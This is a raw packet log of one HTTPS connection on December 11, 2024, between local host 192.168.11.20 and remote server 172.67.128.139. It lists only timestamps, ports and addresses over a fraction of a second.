Dec 11, 2024 12:14:47.959238052 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.959475040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.960611105 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.960618973 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.960784912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.960784912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.960791111 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.960880041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.960992098 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.962443113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.962450981 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.962575912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.962575912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.962634087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.962636948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.962722063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.962770939 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.963644981 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.963653088 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.963825941 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.963825941 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.963871002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.963871002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.963875055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.963920116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.964078903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.965703964 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.965712070 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.965862989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.965862989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.965914011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.965914011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.965917110 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.965956926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.966073036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.967308998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.967318058 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.967510939 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.967514992 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.967556953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.967608929 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.967654943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.969106913 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.969115019 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.969347954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.969347954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.969347954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.969353914 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.969486952 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.970865965 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.970875025 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.971024036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.971024036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.971072912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.971076012 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.971168041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.971218109 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.972244024 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.972251892 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.972388029 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.972388029 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.972482920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.972482920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.972482920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.972487926 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.972673893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.973895073 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.973902941 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.974090099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.974090099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.974090099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.974095106 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.974190950 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.974255085 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.975728035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.975735903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.976002932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.976011992 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.976257086 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.977420092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.977427959 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.977617979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.977617979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.977623940 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.977663994 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.977663994 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.977793932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.979168892 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.979197979 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.979291916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.979341984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.979341984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.979346037 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.979392052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.979439020 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.979588032 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.980524063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.980531931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.980747938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.980747938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.980747938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.980752945 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.980798006 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.980895042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.982229948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.982283115 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.982475042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.982523918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.982523918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.982530117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.982621908 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.982670069 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.983158112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.984090090 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.984097958 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.984272957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.984272957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.984278917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.984322071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.984322071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.984419107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.985846043 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.985852957 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.986076117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.986146927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.986176014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.986179113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.986222029 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.986413956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.986413956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.986745119 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.986845970 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.986920118 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.986920118 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.986924887 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:47.986970901 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:47.987068892 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.089413881 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.092956066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.147751093 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.147759914 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.147924900 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.147938013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.147938013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.147943974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.147986889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.147986889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.148086071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.149090052 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.149099112 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.149233103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.149281025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.149281025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.149281025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.149286032 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.149382114 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.149430990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.150963068 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.150973082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.151360035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.151360035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.151360035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.151360035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.151360035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.151369095 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.151540995 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.152102947 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.152112007 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.152231932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.152281046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.152281046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.152285099 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.152333021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.152333021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.152426958 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.153814077 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.153821945 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.153979063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.153979063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.153984070 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.154026985 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.154078960 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.154078960 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.155550003 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.155558109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.155766010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.155766010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.155776024 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.155813932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.155813932 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.155911922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.156872988 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.156881094 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.157175064 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.157179117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.157274008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.158066034 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.158073902 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.158382893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.158382893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.158382893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.158395052 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.158571005 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.158571005 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.159529924 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.159538984 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.159688950 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.159790039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.159790039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.159795046 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.159929037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.161307096 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.161314011 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.161494970 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.161546946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.161546946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.161550999 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.161593914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.161711931 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.162338972 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.162347078 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.162498951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.162498951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.162498951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.162507057 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.162600040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.162600040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.162645102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.164397955 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.164410114 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.164551973 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.164551973 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.164735079 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.164737940 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.164788008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.164788008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.164884090 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.165633917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.165642977 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.165827990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.165879965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.165879965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.165879965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.165884018 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.166026115 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.167233944 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.167242050 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.167418957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.167471886 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.167471886 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.167471886 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.167475939 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.167778015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.168512106 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.168519974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.168661118 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.168661118 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.168781996 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.168785095 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.168911934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.170231104 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.170238972 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.170392036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.170542002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.170546055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.170770884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.171091080 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.171097994 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.171226025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.171226025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.171272993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.171272993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.171276093 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.171324968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.171473026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.172975063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.172982931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.173125982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.173125982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.173194885 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.173194885 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.173202038 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.173218966 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.173316956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.174324989 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.174333096 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.174565077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.174612999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.174665928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.174669027 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.174905062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.174905062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.174905062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.175914049 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.175920963 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.176049948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.176049948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.176129103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.176134109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.176192999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.176256895 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.177186012 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.177192926 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.177407026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.177407980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.177455902 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.177459002 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.177604914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.178767920 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.178776026 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.179086924 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.179138899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.179141998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.179327965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.179327965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.179327965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.180689096 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.180696011 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.180875063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.180875063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.180875063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.180881023 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.180921078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.180969954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.181019068 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.181828022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.181835890 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.182100058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.182105064 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.182238102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.183604002 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.183610916 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.183768988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.183850050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.183852911 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.184155941 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.184623003 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.184629917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.184849977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.184849977 CET	49776	443	192.168.11.20	172.67.128.139
